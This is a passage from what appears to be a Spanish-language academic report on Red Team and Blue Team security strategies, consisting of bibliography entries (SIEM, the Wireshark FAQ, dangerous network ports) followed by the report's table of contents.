[consulta: 28 de marzo 2022]. Disponible en: https://www.nsit.com.co/que-es-siem-
en-seguridad-informatica-alcance-e-implementacion/

WIRESHARK [sitio web], Wireshark Frequently Asked Questions [Consulta: 28 de
marzo 2022]. Disponible en:
https://www.wireshark.org/faq.html#:~:text=Wireshark%20is %20%22free %20softw
are%22%3B,General%20Public%20License%20version%202.

TEMAS RELACIONADOS CON INTERNET TECNOLOGIA Y LA CIENCIA [sitio web],
Porque algunos puertos de red son peligrosos y como se protegen. [consulta: 28 de marzo
2022]. Disponible en: https://www.clasesordenador.com/porque-algunos-puertos-de-red-
son-peligrosos-y-como-se-protegen/



	1. Glosario
	2. Introducción
	3. Objetivos
	3.1 Objetivo General
	3.2 Objetivos Específicos

	4. Capacidades técnicas, legales y de gestión para equipos BlueTeam y RedTeam
	4.1 Aspectos que aporten al desarrollo de estrategias de RedTeam & BlueTeam
	4.2 Recomendaciones para el planteamiento de estrategias que permitan endurecer los aspectos de seguridad en una organización
	4.3 Link del Video

	5. Conclusiones
	6. Recomendaciones
	7. Bibliografía



